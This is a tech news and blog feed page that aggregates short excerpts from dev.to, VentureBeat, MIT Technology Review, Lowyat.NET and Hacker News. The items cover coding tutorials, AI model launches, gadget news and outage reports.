    I’m Mashraf Aiman, and today I’ll walk you through how GitHub Copilot really works with MCP tools. What looks like magic is actually a well-orchestrated process that fetches the exact information you need — quickly, accurately, and efficiently. When you ask Copilot something like "Are there any pull requests waiting for me?", it doesn’t guess. Behind the scenes, Copilot uses a tool from the GitHub MCP server designed to query your repositories. The MCP server exposes tools with names, descriptions, and input requirements. Copilot identifies the correct tool, fills in the parameters based on your context, and sends the request to the server. The MCP server returns structured data, which Copilot transforms into a clear, readable answer for you. You see concise pull request information instead of raw data. This step ensures that the model output is human-friendly, actionable, and instantly useful. To answer accurately, Copilot needs information like: Your GitHub username The repository you’re working in Current branch and other session metadata This context is explicitly provided by the client, so Copilot never has to guess. Understanding how tools, servers, and structured outputs work helps you: Know which tools are available and how to use them Configure MCP servers effectively Design workflows that maximize efficiency Magic is impressive, but knowledge gives control. GitHub Copilot with MCP tools is not about replacing developers; it’s about amplifying your capabilities. By understanding what happens behind the scenes, you can work smarter, automate repetitive tasks, and focus on building great software. Stay tuned for more insights into how Copilot, VS Code, and MCP work together to make development faster and smarter.  ( 8 min )
    计算机模拟三体运动
    我这个三体实在一个平面内的,真三体没时间做了 B站视频讲解 三体 #earth{width:24px;height:24px;background: orange; left: 0; position: absolute; border-radius:50%;z-index: -9;} #moon{width:14px; height:14px; border-radius:50%; background:red; position:absolute;} #sun{width: 24px;height:24px;background: purple;border-radius: 12px;position: absolute;left: 200px;bottom: 0; } .box{position:relative;top:525px; left:50%; display: table;} .line1{width:600px;height:2px; background:…  ( 6 min )
    计算机模拟双星系统
    B站视频讲解 双星 #earth{width:24px;height:24px;background: orange;margin-left: -12px;margin-top: -12px; left: 0;bottom: 0; position: absolute; border-radius:50%;z-index: -9;} #moon{width:14px; height:14px; border-radius:50%; background:red; margin-left:-7px;margin-top:-7px; position:absolute;} .box{position:relative;top:325px; left:50%;margin-top:-12px;margin-left:-12px;} .line1{width:600px;height:2px; background:red; position:absolute;left: 2px;top:-1px;} .line2{width:1px;height:400px; background:black; position:absolute;left…  ( 6 min )
    计算机模拟地月系统
    B站视频讲解 月亮和地球 #earth{width:0px;height:0px;border:24px solid orange;position:relative;top:325px; left:50%;margin-top:-12px;margin-left:-12px; border-radius:50%;} #moon{width:14px; height:14px; border-radius:50%; background:red; margin-left:-7px;margin-top:-7px; position:absolute;} <di…  ( 6 min )
    Blink Diagnostics: Decoding Health One Flutter at a Time
    Blink Diagnostics: Decoding Health One Flutter at a Time Imagine a world where a simple blink could reveal hidden health insights. We're not quite there yet, but we're closer than you think. What if the subtle nuances of your eyelid movements could unlock early detection of neurological issues or provide insights into the severity of dry eye syndrome? The core concept revolves around using mobile computer vision to analyze eyelid movements in real-time. It leverages sophisticated algorithms to detect and measure blinks with incredible precision directly on a mobile device. This allows for immediate, objective data without relying on expensive or cumbersome equipment. Think of it like this: your eye movements are like Morse code, and the algorithm is the translator, deciphering the hidde…  ( 7 min )
    stopPropagation()、catch (_)、定位属性、chrome.runtime.getURL、requestAnimationFrame()
    stopPropagation() e.stopPropagation()的作用是 阻止事件继续冒泡(Propagation)。 当前元素的父元素不会再收到这个事件 祖先元素也不会收到这个事件 其他监听器(在冒泡阶段)不会被触发 catch (_) 中的 下划线 _ 只是一个变量名,表示“我不关心这个错误对象”。 在 JavaScript 中: try { // 可能会抛出错误的代码 } catch (err) { // err 是错误对象 } 但如果你 不需要使用错误对象(比如只想吞掉错误,不做处理),你可以写成: catch (_) {} 因为: catch 后面必须写一个“接收错误对象的变量名” 但你又不想使用它 使用 _ 表示“这个变量不会被用到”,是一种常见约定写法(语义等同于“忽略这个值”) 在 较新版本的 JavaScript(ES2019/ES10)中,可以写: catch {} 这是“可选 catch 绑定”语法,不需要变量名。 但如果为了兼容旧浏览器(特别是 Chrome 扩展很多人要求更广兼容性),开发者可能仍然写: catch (_) {} left: 50%:把这个元素的左边界放到父容器宽度的 50% 位置 chrome.runtime.getURL() 是 Chrome 扩展(Chrome Extension)专用 API,用于 根据扩展内的相对路径,生成一个可在网页 / 扩展脚本中使用的绝对 URL。 这是扩展开发中常用的一个函数,尤其在加载静态资源(图片、脚本、样式、模型文件等)时用得特别多。 把扩展内的文件路径转换成可访问的完整 URL 扩展的资源文件不能直接用相对路径访问,比如: assets/icon.png 在扩展运行时,Chrome 会把这些文件映射到一个特殊的扩展 URL,例如: chrome-extensi…  ( 7 min )
    2025 Fuel Stabilization Secrets for Yacht Owners
    Fuel care for yachts has entered a new era in 2025, driven by evolving engine technologies, increasingly sensitive fuel systems, and the real-world challenges that yacht owners face when storing their vessels for extended periods. Modern engines—whether the Volvo Penta IPS600 on a 45-foot cruiser, a Yanmar 4LV on a sailing yacht, or the MAN V12 powering an 80-foot motor yacht—are built with tight tolerances and high-pressure injection systems that are far less forgiving of degraded or contaminated fuel. As a result, owners who overlook fuel stabilization often encounter hard starts, power loss, injector clogging, and bacterial contamination that can lead to thousands of dollars in repairs. This is where a proper understanding of fuel degradation becomes indispensable. In fact, many yacht o…  ( 15 min )
    C#: Add Page Numbers to a PDF Document
    Have you ever found yourself painstakingly adding page numbers to a lengthy PDF report, contract, or manual? The sheer thought of manually updating each page can be a developer's nightmare. In today's fast-paced digital world, efficiency is key, and manual processes are often bottlenecks. Missing or incorrectly formatted page numbers can lead to confusion, difficulty in referencing, and a less professional-looking document. This is where automation shines. This article will guide you through a powerful and efficient solution: programmatically adding page numbers to PDF documents using C# and the Spire.PDF for .NET library. Say goodbye to manual drudgery and embrace a streamlined, automated workflow for your PDF Document Numbering needs. Page numbers are more than just cosmetic additions; t…  ( 10 min )
    浮动动画
    let bobberPhase = 0; const bobberAnimate = () => { if (!mini || !bobber.parentNode) return; // 已移除则停止 bobberPhase = (bobberPhase + 0.05) % (Math.PI * 2); const offsetY = Math.sin(bobberPhase) * 15; // -15px ~ +15px bobber.style.transform = `translateX(-50%) translateY(${offsetY}px)`; requestAnimationFrame(bobberAnimate); }; bobberAnimate(); // 启动 sin()永远在-1~1之间 % (Math.PI * 2) 2π 是正弦波的一个周期, 0 ~ 2π这一圈就够了。 不取模会导致 bobberPhase 无限变大 让动画永远平滑地循环 bobberPhase += 0.05,如果超过 2π,就从 0 重新开始 0 → 0.05 → 0.10 → ... → 6.28 → 0 → 0.05 → 0.10 → ...相位永远不会失控,也不会变成巨大数字。  ( 6 min )
    Rebase and Always Take the Upstream Version
    git rebase main git checkout --theirs {path} git add . git rebase --continue  ( 6 min )
    Data Analysis - Matplot Lib - Notes
    Matplotlib is a powerful and versatile open-source plotting library for Python, designed to help users visualize data in a variety of formats. Developed by John D. Hunter in 2003, it enables users to graphically represent data, facilitating easier analysis and understanding. If you want to convert your boring data into interactive plots and graphs, Matplotlib is the tool for you. Components or Parts of Matplotlib Figure The parts of a Matplotlib figure include (as shown in the figure above): Figure: The overarching container that holds all plot elements, acting as the canvas for visualizations. Axes: The areas within the figure where data is plotted; each figure can contain multiple axes. Axis: Represents the x-axis and y-axis, defining limits, tick locations, and labels for data interpre…  ( 16 min )
    Refining a Professional Portfolio with Google Antigravity: A Zero-Friction Workflow
    Google Antigravity launched today so I decided to give it a try. In this post, I'll walk through how I refreshed my professional portfolio using Google Antigravity, an advanced AI coding agent. What makes this update unique isn't just the content changes—it's how they were made. I completed the entire process without ever opening an external IDE, touching the command line, or visiting GitHub.com. I needed to update the main landing page (index.md) of my GitHub Pages portfolio. My goals were: Refine the Professional Profile: Make the bio more impactful. Add a Tagline: Create a strong hook to summarize my value. Privacy Updates: Remove specific graduation years. Formatting Fixes: Improve consistency. Instead of manually editing files, I simply told Antigravity what I wanted. The entire sess…  ( 7 min )
    How I Automated the Transcription of 91 Instagram (screenshots) Poems Using Python + LLM Vision (Real Case Study)
    ✨ The Story Begins There is always that one message from a friend that starts like this: “Hey… I do not think I can make it today because something came up.” My friend Mariana, a community manager for a local Instagram poet, had a problem. Her client publishes several poems every night as images. These images have handwritten text, stylized filters, shadows, messy backgrounds and artistic layouts. After a few months of doing this, all the poems were saved inside a Highlight titled “Poetry Vault.” It looks cute on Instagram. Mariana had 91 images waiting for her. Her brain in that moment looked like this: She told me she could not help me with something we had planned. She had to spend the entire day typing. So I said the sentence every developer eventually says: “We can automate this.” …  ( 8 min )
    Android Basic
    1. Components Activity 사용자 진입점, 여러활동이 함께 작동 가능, 서로 독립적. 화면을 추적, 시스템은 Activity가 호스팅하는 프로세스를 계속 실행. 백그라운드 계속 실행 진입점 시작된 서비스: 작업 완료 전까지 서비스 계속 실행하도록 시스템에 지시. (앱을 떠나도 유지) 바인딩된 서비스: 라이브 배경화면, 알림 리스너, 화면 보호기, 입력 방법, 접근성 서비스 및 기타 여러 핵심 시스템 기능 모두 애플리케이션이 구현하는 서비스로 빌드되며 애플리케이션이 실행될 때 시스템이 바인딩됨. 시스템이 이벤트를 앱이 시스템 전체 브로드캐스트에 응답할 수 있도록, 앱 공지사항. Broadcast는 Intent 객체로 전달 앱에서 알람을 예약하여 사용자에게 예정된 이벤트에 대해 알리는 알림을 게시 -- Intent --> BroadcastReceiver 데이터베이스 추상화 파일시스템 SQLite DB Web Intent라는 async 메시지는 4가지 구성요소 유형인 활동, 서비스, broadcast receiver를 분해. 런타임에 각 구성요소르르 서로 바인딩 AndroidManifest.xml 앱 구성 요소를 시작하려면 먼저 구성요소의 존재 여부를 확인하는 방법은 앱의 매니페스트 파일 앱이 요구하는 모든 사용자 권한 API 최솟값 앱이 요구하는 하드웨어, 소프트웨어 기능 앱을 연결해야하는 API 라이브러리  ( 6 min )
    Data Analysis - Python OOPS
    Class A class is a collection of objects. Classes are blueprints for creating objects. A class defines a set of attributes and methods that the created objects (instances) can have. Some points on Python class: Classes are created by keyword class. class Dog: species = "Canine" # Class attribute def __init__(self, name, age): self.name = name # Instance attribute self.age = age # Instance attribute Explanation: class Dog: Defines a class named Dog. init method: Initializes the name and age attributes when a new object is created. Objects An Object is an instance of a Class. It represents a specific implementation of the class and holds its own data. An object consists of: State: It is represented by the attributes and reflects the properties of an object. Beh…  ( 12 min )
    Data Analysis Week 5 Notes
    Business Intelligence Overview Main Components of Business Intelligence System: Data Source Data Mart / Data Warehouse Data Exploration Data Mining Optimization Decisions Data Source Data Mart / Data Warehouse Data Exploration Data Mining Optimization Types of Users of Business Intelligence Analyst (Data Analyst or Business Analyst): They are the statistician of the company, they used BI on the basis of historical data priorly stored in the system. Head or Manager of the Company: Head of the company uses Business Intelligence used to increase the profitability of their company by increasing the efficiency in their decisions on the basis of all the knowledge they discovered. Types of Decisions Supported by Business Intelligence Strategic Level: The strategic level is the level where the H…  ( 9 min )
    AI Amnesia: Erasing Knowledge Without a Trace
    AI Amnesia: Erasing Knowledge Without a Trace Imagine your AI model accidentally learned something it shouldn't have – sensitive customer data, for example. Current methods for deleting this information often require retraining the entire model, an expensive and time-consuming process. What if we could surgically remove that knowledge without starting from scratch? The key lies in a novel approach: creating artificial "forgetting cues." We're teaching the model to unlearn specific data patterns by exposing it to carefully crafted synthetic examples. These examples are designed to strongly contradict the information we want the model to forget, effectively overwriting the problematic associations in its memory. This works even if you don’t have access to the original data you need to eras…  ( 7 min )
    Do Something While Someone Logs Into Your Linux System
    Have you ever wanted to automatically run a script, display a message, or execute a command when someone logs into your Linux system? Whether you're setting up a welcome message, initializing environment variables, or running system checks, Linux provides several powerful ways to execute commands during the login process. In this tutorial, I'll walk you through the different methods and best practices for running commands on user login. When a user logs into a Linux system, several configuration files are executed in a specific order. Understanding these files is key to choosing the right place for your commands. 1. /etc/profile - System-wide configuration Executed for all users during login shell Requires root access to modify Perfect for global settings 2. ~/.bash_profile - User-specific…  ( 9 min )
    [Boost]
    The lumberjack paradox: From theory to practice Jennifer Davis for Google Cloud ・ Nov 19 #cloud #ai #programming  ( 6 min )
    The lumberjack paradox: From theory to practice
    Previously, I shared my thoughts on Neal Sample’s "lumberjack paradox" and the urgent need to build the systems thinkers of tomorrow. I argued that leaders must move beyond simple efficiency and focus on re-engineering the experience (Dr. Gary Klein) and creating context to ensure we don't lose the path to deep expertise. But what does "leadership as context creator" look like in practice? For us in Cloud DevRel Engineering, it isn't abstract. It comes down to how we manage the most fundamental unit of our developer experience: the code sample. As Neal notes, AI will lead to the "industrialization of creativity"—an infinite supply of ideas and code. In this world, the premium shifts to discernment: the ability to distinguish the quality from the mediocre. But this isn't a choice between th…  ( 10 min )
    dev diary 20251118
    ideation for web application i completed preparation of development too, then started to generate idea of application. with Miro. but i don't take so long time to do it. the plan is just plan. i wanna build some concrete things without consider detail. i use chatGPT, Gemini, Copilot, Claude or Perplexity everyday. but i guess there are more efficient way of use. especially, now i just input one question or reflection and get answer, but with AI agent, set multi steps, might get more deep reflection. if ai know everything about me, have all the information of myself, ai can think and judge same as me. ai hear everything i heard, read everything i read, have all the set of my input and output and work as RAG. human encounter some issues, think and try to find how to shoot, but can't solve quickly, the day end, sleep, then next morning, sometimes the problem is solved, some solutions appear automatically. in the night, in brain, the issue is cultivated. such process can work in AI. input question and get answer, check, abstract task from it, and rethink, over and over.  ( 6 min )
    ES6 {Destructuring} Deep Dive
    We all know what variables are, and there are plenty of times where we find ourselves using objects or arrays with long property names on them over, and over, and over... Wouldn't it be nice to just have a variable referring to that property without assigning fifty variables manually? Well, that's where destructuring comes in - destructuring is a way of saving values from complex data types to a variable without having to make a bunch of them by hand. The basic syntax for destructuring is pretty simple, but a lot of people don't know how to use it, so let's go over a couple examples with both objects and arrays! We'll do this with the destructuring "binding" pattern, though there's also an "assignment" pattern. We can start with a basic object: const obj = { a: 1, two: 83, banana: 'b…  ( 10 min )
    THE LOVE THAT OUTLIVES TIME: A 1 CORINTHIANS 13 LEGACY EXPLORATION
    There are moments when Scripture stops being something we read and becomes something that reads us. Some verses instruct us. But some verses — like the ones in this chapter — expose us, reshape us, and redefine what a life with God looks like. They peel away our excuses, our spiritual shortcuts, our self-protective habits, and reveal the core of Christian identity: Love that mirrors the heart of God Himself. This chapter is not sentimental. It is the very oxygen of the Christian life. If you want the deepest, clearest, most transformational video breakdown of this chapter, watch this teaching early in your reading: Meaning of 1 Corinthians 13 This anchor link sits near the top because it forms the foundation you will build on as you explore the rest of this legacy document. You asked for m…  ( 14 min )
    COBOL on Ubuntu: Installation, Setup, and First Steps
    Prerequisites – Installing Homebrew and ASDF on Ubuntu IBM COBOL for Linux on x86 Documentation Open-cobol GNU COBOL (COBOL doesn’t use modern frameworks; these are the most common ones) GnuCOBOL (OpenCOBOL) — standard open-source compiler. TinyCOBOL — simple and educational. COBOL-IT — commercial, mainframe-compatible. sudo apt update sudo apt install open-cobol # or sudo apt install gnucobol brew install gnu-cobol COBOL **does not have an official package manager* (it’s not a modular ecosystem like Node or PHP).* There is no official ASDF plugin for COBOL. Important: In COBOL, the first 7 characters of each line must remain empty because they were originally reserved for sequence numbers used on punched cards. These numbers allowed cards to be physically reordered if shuffled. Even tho…  ( 8 min )
    Salut l'ensemble de la communauté! Je suis débutant en développement web je viens de démarrer le JavaScript et je veux travailler ensemble avec vous pour avoir plus de compétences
    Welcome Thread - v351 Sloan the DEV Moderator for The DEV Team ・ Nov 12 #welcome  ( 6 min )
    DSA Fundamentals: Greedy Algorithms - From Theory to LeetCode Practice
    Greedy algorithms are a powerful problem-solving paradigm that makes locally optimal choices at each step, hoping to find a global optimum. While not always applicable, greedy algorithms provide elegant and efficient solutions to many optimization problems, especially those involving sequences, intervals, and resource allocation. This comprehensive guide combines theoretical understanding with practical problem-solving, featuring solutions to essential LeetCode problems that demonstrate core greedy algorithmic patterns. Greedy algorithms make the best local choice at each decision point, without considering future consequences. The key insight is that sometimes, making locally optimal choices leads to a globally optimal solution. Greedy algorithms work well when: Optimal substructure: Opti…  ( 17 min )
    Turn your code into a visual, editable wiki. 100% open source
    Hey everyone, I’m working on Davia, an open-source tool that generates an editable visual wiki from local code, complete with Notion-style pages and whiteboards. Would love your feedback or ideas! Check it out: Github  ( 6 min )
    The Evolution of GPT: How AI Became Your Everyday Assistant
    The Beginning However, how did it all begin? Let's go over GPT-1 through GPT-5 and how these models relate to our everyday lives. 1.The History: GPT-1 (2018)The Beginning of It All Get to know GPT 1 The Reason It Mattered 2. Expanding Up: GPT-2 (2019) AI was able to generate multi-paragraph text that sounded human for the first time. GPT-2 was capable of creating poetry, summarizing articles, and writing essays. It performs extremely well on a task known as language modeling, which evaluates a program's ability for predicting the next word that appears in a given sentence. If you give it a fake headline, it will write the rest of the piece, including fake statistics and quotes. It will tell you what happens to your character after you feed it the first line of a short story. If you give …  ( 11 min )
  • Open

    OpenAI debuts GPT‑5.1-Codex-Max coding model and it already completed a 24-hour task internally
    OpenAI has introduced GPT‑5.1-Codex-Max, a new frontier agentic coding model now available in its Codex developer environment. The release marks a significant step forward in AI-assisted software engineering, offering improved long-horizon reasoning, efficiency, and real-time interactive capabilities. GPT‑5.1-Codex-Max will now replace GPT‑5.1-Codex as the default model across Codex-integrated surfaces. The new model is designed to serve as a persistent, high-context software development agent, capable of managing complex refactors, debugging workflows, and project-scale tasks across multiple context windows. It comes on the heels of Google releasing its powerful new Gemini 3 Pro model yesterday, yet still outperforms or matches it on key coding benchmarks: On SWE-Bench Verified, GPT‑5.1-…
    The Google Search of AI agents? Fetch launches ASI:One and Business tier for new era of non-human web
    Fetch AI, a startup founded and led by former DeepMind founding investor, Humayun Sheikh, today announced the release of three interconnected products designed to provide the trust, coordination, and interoperability needed for large-scale AI agent ecosystems. The launch includes ASI:One, a personal-AI orchestration platform; Fetch Business, a verification and discovery portal for brand agents; and Agentverse, an open directory hosting more than two million agents. Together, the system positions Fetch as an infrastructure provider for what it calls the “Agentic Web”—a layer where consumer AIs and brand AIs collaborate to complete tasks instead of merely suggesting them. The company says the tools address a central limitation in current consumer AI: models can provide recommendations but …
    OpenCV founders launch AI video startup to take on OpenAI and Google
    A new artificial intelligence startup founded by the creators of the world's most widely used computer vision library has emerged from stealth with technology that generates realistic human-centric videos up to five minutes long — a dramatic leap beyond the capabilities of rivals including OpenAI's Sora and Google's Veo. CraftStory, which launched Tuesday with $2 million in funding, is introducing Model 2.0, a video generation system that addresses one of the most significant limitations plaguing the nascent AI video industry: duration. While OpenAI's Sora 2 tops out at 25 seconds and most competing models generate clips of 10 seconds or less, CraftStory's system can produce continuous, coherent video performances that run as long as a typical YouTube tutorial or product demonstration. The…
    VentureBeat launches “Beyond the Pilot” — a new podcast series exploring how enterprise AI gets real
    Premiering November 19 VentureBeat is proud to announce the launch of its new flagship podcast, Beyond the Pilot: Enterprise AI in Action, premiering November 19 and brought to you by our anchor sponsor, Outshift by Cisco. Enterprise AI has reached a new inflection point: workloads are going live, and the constraints are getting real. The challenge for enterprise technical leaders isn’t understanding AI’s potential — it’s navigating the messy, complex work of making it run reliably at scale. Beyond the Pilot goes inside that reality with candid conversations from executives who’ve moved past experiments and into production — scaling AI and agentic systems that deliver measurable business value. “Enterprise technical leaders keep telling us the same thing: the hype cycle is loud, but what …
    Meta’s DreamGym framework trains AI agents in a simulated world to cut reinforcement learning costs
    Researchers at Meta, the University of Chicago, and UC Berkeley have developed a new framework that addresses the high costs, infrastructure complexity, and unreliable feedback associated with using reinforcement learning (RL) to train large language model (LLM) agents. The framework, DreamGym, simulates an RL environment to train agents for complex applications. As it progresses through the training process, the framework dynamically adjusts task difficulty, ensuring the agent gradually learns to solve more challenging problems as it improves. Experiments by the research team show that DreamGym substantially improves RL training in both fully synthetic settings and scenarios where the model must apply its simulated learning to the real world. In settings where RL is possible but expensive…
  • Open

    How AI is Transforming Enterprise Operations
    Artificial intelligence is changing how big companies work every single day. What used to take hours of manual effort or long approval chains can now happen in seconds with AI-powered systems. From supply chains to IT operations, AI is helping enter...  ( 7 min )
    A Game Developer’s Guide to Understanding Screen Resolution
    Every game developer obsesses over performance, textures, and frame rates, but resolution is the quiet foundation that makes or breaks visual quality. Whether you are building a pixel-art indie game or a high-fidelity 3D world, understanding how res...  ( 7 min )
    Create a Cute Room Portfolio with Three.js, Blender, JavaScript
    Learn how to use Three.js and Blender to design a stunning and interactive 3D portfolio! We just posted a course on the freeCodeCamp.org YouTube channel that will take you from the foundational concepts of 3D modeling in Blender to creating a fully f...  ( 4 min )
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    Scaling innovation in manufacturing with AI
    Manufacturing is getting a major system upgrade. As AI amplifies existing technologies—like digital twins, the cloud, edge computing, and the industrial internet of things (IIoT)—it is enabling factory operations teams to shift from reactive, isolated problem-solving to proactive, systemwide optimization. Digital twins—physically accurate virtual representations of a piece of equipment, a production line, a process,…  ( 18 min )
    The Download: de-censoring DeepSeek, and Gemini 3
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Quantum physicists have shrunk and “de-censored” DeepSeek R1 The news: A group of quantum physicists at Spanish firm Multiverse Computing claims to have created a version of the powerful reasoning AI model DeepSeek…  ( 23 min )
    Quantum physicists have shrunk and “de-censored” DeepSeek R1
    A group of quantum physicists claims to have created a version of the powerful reasoning AI model DeepSeek R1 that strips out the censorship built into the original by its Chinese creators.  The scientists at Multiverse Computing, a Spanish firm specializing in quantum-inspired AI techniques, created DeepSeek R1 Slim, a model that is 55% smaller…  ( 22 min )
  • Open

    Qualcomm To Launch Snapdragon 8 Gen5 SoC On 26 November
    Qualcomm is reportedly set to launch its Snapdragon 8 Gen5 SoC later this month and more precisely, on 26 November. Yes, that’s not a typo and as such, it should not be confused with the Snapdragon 8 Elite Gen5 that the brand launched back in September at its annual Qualcomm Summit. According to multiple reports, […] The post Qualcomm To Launch Snapdragon 8 Gen5 SoC On 26 November appeared first on Lowyat.NET.  ( 33 min )
    iOS 26.2 Beta Lets iPhone Users Swap Siri For Third-Party Voice Assistants, But…
    Apple is preparing a significant change for iPhone users, with the latest iOS 26.2 beta offering early signs of an upcoming option to replace Siri as the default voice assistant. Code discovered in beta 3 shows new strings describing Side Button behaviour, pointing to a feature that allows users to choose a different app to […] The post iOS 26.2 Beta Lets iPhone Users Swap Siri For Third-Party Voice Assistants, But… appeared first on Lowyat.NET.  ( 35 min )
    TNB Reports RM4.57 Billion Loss From Illegal Bitcoin Mining Since 2020
    Tenaga Nasional Bhd (TNB) has incurred losses amounting to RM4.57 billion between 2020 and August this year due to electricity theft linked to illegal cryptocurrency mining. According to Deputy Prime Minister Datuk Seri Fadillah Yusof, TNB discovered 13,827 premises engaging in such activities, including bitcoin farms. Fadillah, who also serves as the Energy Transition and […] The post TNB Reports RM4.57 Billion Loss From Illegal Bitcoin Mining Since 2020 appeared first on Lowyat.NET.  ( 34 min )
    realme Buds Clip To Land In Malaysia On 24 November
    realme has just announced that the Buds Clip, the brand’s first open-ear earbuds, is arriving in Malaysia on 24 November, coinciding with the GT 8 Pro. And right off the bat, the design is very reminiscent of Huawei’s own FreeClip earbuds. Marketed towards “young, active users”, the Buds Clip promises to eliminate the pressure and […] The post realme Buds Clip To Land In Malaysia On 24 November appeared first on Lowyat.NET.  ( 33 min )
    AMD Set To Unveil FSR Redstone On 10 December
    It’s official: AMD will be premiering its next-generation upscaling technology, FSR Redstone, on 10 December this year. The red chipmaker isn’t divulging much else, meaning that we’ll have to wait until the date to hear more. Jack Huynh, senior vice president and general manager of the Computing and Graphics Group at AMD, has mentioned on […] The post AMD Set To Unveil FSR Redstone On 10 December appeared first on Lowyat.NET.  ( 34 min )
    ARM Joins NVIDIA NVLink Fusion Ecosystem
    ARM and NVIDIA have announced that the former will be joining the latter’s NVLink Fusion ecosystem. The announcement was made at the recent Supercomputing 25 conference. “Arm is integrating NVLink IP so that their customers can build their CPU SoCs to connect Nvidia GPUs,” said Dion Harris, the head of data center product marketing at […] The post ARM Joins NVIDIA NVLink Fusion Ecosystem appeared first on Lowyat.NET.  ( 33 min )
    WhatsApp To Roll Out Multi-Account Support For iOS Soon
    Among all Meta-owned messaging apps, WhatsApp appears to be the only one that still lacks multi-account support, at least for iOS. However, it seems that the messaging platform is working to address that issue soon enough. According to WABetaInfo, this feature will allow users to quickly move between different WhatsApp accounts right from the settings […] The post WhatsApp To Roll Out Multi-Account Support For iOS Soon appeared first on Lowyat.NET.  ( 34 min )
    Logitech Confirms 1.8TB Of Data Was Stolen By Hackers
    Logitech, one of the world’s biggest PC accessories makers, recently confirmed that it was a victim of hacking. It says that a zero-day vulnerability was how the hacker got past its cybersecurity. In a filing to the SEC, Logitech says that the hacker made off with 1.8TB of company data, but that none of the […] The post Logitech Confirms 1.8TB Of Data Was Stolen By Hackers appeared first on Lowyat.NET.  ( 34 min )
    TM’s Unifi Outshines Rivals In Opensignal’s 2025 Mobile Network Report
    Opensignal has released its Malaysia Mobile Network Experience – November 2025 report, offering a fresh breakdown of how the country’s major operators stacked up over the past year. The latest findings show noticeable shifts in several categories, with underdog Unifi surprisingly emerging as the biggest overall winner. According to the report, Unifi users enjoy the […] The post TM’s Unifi Outshines Rivals In Opensignal’s 2025 Mobile Network Report appeared first on Lowyat.NET.  ( 36 min )
    Roblox Rolls Out Age Verification System; Users Now Required To Send Selfies For Chat Feature
    Roblox will soon be rolling out a mandatory age verification system, requiring all users to provide an ID or a face scan to use the platform’s chat features. The policy will first take effect in Australia, New Zealand, and the Netherlands in December. Afterwards, the policy will expand to other markets early next year. The […] The post Roblox Rolls Out Age Verification System; Users Now Required To Send Selfies For Chat Feature appeared first on Lowyat.NET.  ( 35 min )
    HONOR Magic8 Pro Locks In 27 November Launch Date
    Earlier this month, HONOR confirmed that it will be releasing its newest flagship smartphone on our shores. Now, the company has announced that the Magic8 Pro will make its Malaysian debut next week, on 27 November 2025. As previously revealed, the highlight of the handset is the camera system, or more specifically, what the brand […] The post HONOR Magic8 Pro Locks In 27 November Launch Date appeared first on Lowyat.NET.  ( 34 min )
    Cloudflare Issues Statement Regarding 18 November Outage
    Global network provider Cloudflare has published a statement via its official blog concerning the major six-hour disruption yesterday on 18 November 2025, which impacted websites and services worldwide. The incident began at 7:20pm local time and resulted in significant traffic failures across its network. Among those affected included our own website and forum, as well […] The post Cloudflare Issues Statement Regarding 18 November Outage appeared first on Lowyat.NET.  ( 34 min )
    DJI Osmo Action 6 Lands In Malaysia; Priced From RM2,079
    Last week, DJI released the Osmo Action 6 in China. Despite its early launch in the drone maker’s home market, the action camera made its Malaysian debut right on schedule. Of course, at this point there’s nothing left to the imagination when it comes to the device. But to recap, the Osmo Action 6 sports […] The post DJI Osmo Action 6 Lands In Malaysia; Priced From RM2,079 appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Lucent 7 R/E 5ESS Telephone Switch Rescue
    Comments  ( 3 min )
    Cloudflare outage on November 18, 2025 post mortem
    Comments  ( 12 min )
    Rebecca Heineman – from homelessness to porting Doom
    Comments  ( 33 min )
    Having Fun with Complex Numbers: A Real-Life Journey for Upper Elementary Studen
    Comments  ( 2 min )
    Monotype font licencing shake-down
    Comments  ( 14 min )
    Blender 5.0
    Comments
    Bild AI (YC W25) Is Hiring: Make Housing Affordable
    Comments  ( 2 min )
    GitHub: Git operation failures
    Comments  ( 19 min )
    Oracle is underwater on its $300B OpenAI deal
    Comments  ( 9 min )
    Murphyjitsu (2018)
    Comments
    Jerry Seinfeld and the "too sensitive" left
    Comments  ( 6 min )
    A surprise with how '#!' handles its program argument in practice
    Comments  ( 1 min )
    New EU Chat Control proposal moves forward
    Comments  ( 18 min )
    Trying out Gemini 3 Pro with audio transcription and a new pelican benchmark
    Comments  ( 8 min )
    OrthoRoute – GPU-accelerated autorouting for KiCad
    Comments  ( 12 min )
    Show HN: RowboatX – open-source Claude Code for everyday automations
    Comments  ( 8 min )
    Hyperoptic: IPv6 and Out-of-Order Packets
    Comments  ( 4 min )
    NPR to get $36M in settlement to operate US public radio system
    Comments  ( 34 min )
    I am stepping down as the CEO of Mastodon
    Comments  ( 2 min )
    Show HN: Guts – convert Golang types to TypeScript
    Comments  ( 8 min )
    Google CEO: If an AI bubble pops, no one is getting out clean
    Comments  ( 8 min )
    The Connectivity Standards Alliance Announces Zigbee 4.0 and Suzi
    Comments  ( 11 min )
    Pebble, Rebble, and a Path Forward
    Comments  ( 11 min )
    Disney Lost Roger Rabbit
    Comments  ( 13 min )
    Strix Halo's Memory Subsystem: Tackling iGPU Challenges
    Comments  ( 33 min )
    Show HN: Optimizing LiteLLM with Rust – When Expectations Meet Reality
    Comments  ( 13 min )
    Solving a Million-Step LLM Task with Zero Errors
    Comments  ( 3 min )
    TIL: `satisfies` is my favorite TypeScript keyword
    Comments  ( 3 min )
    A Day at Hetzner Online in the Falkenstein Data Center
    Comments  ( 26 min )
    The code and open-source tools I used to produce a science fiction anthology
    Comments  ( 6 min )
    5 Things to Try with Gemini 3 Pro in Gemini CLI
    Comments  ( 7 min )
    Google Brings Gemini 3 AI Model to Search and AI Mode
    Comments  ( 14 min )
    Google Antigravity, a New Era in AI-Assisted Software Development
    Comments  ( 12 min )
    How long can it take to become a US citizen?
    Comments  ( 42 min )
    Gemini 3 for developers: New reasoning, agentic capabilities
    Comments  ( 17 min )
    Gemini 3
    Comments  ( 20 min )
    Google Antigravity
    Comments  ( 12 min )
    Gemini 3 Pro Preview Live in AI Studio
    Comments  ( 53 min )
    Show HN: Browser-based interactive 3D Three-Body problem simulator
    Comments  ( 13 min )
    Short Little Difficult Books
    Comments
    Nearly all UK drivers say headlights are too bright
    Comments  ( 17 min )
    Experiment: Making TypeScript Immutable-by-Default
    Comments  ( 5 min )
    'Fear really drives him': is Alex Karp of Palantir the world's scariest CEO?
    Comments  ( 21 min )
    Ruby 4.0.0 Preview2 Released
    Comments  ( 1 min )
    Do Not Put Your Site Behind Cloudflare If You Don't Need To
    Comments  ( 1 min )
    Multiple Digital Ocean services down
    Comments  ( 21 min )
    Show HN: Gitlogue – A terminal tool that replays your Git commits with animation
    Comments  ( 14 min )
    GoSign Desktop RCE flaws affecting users in Italy
    Comments
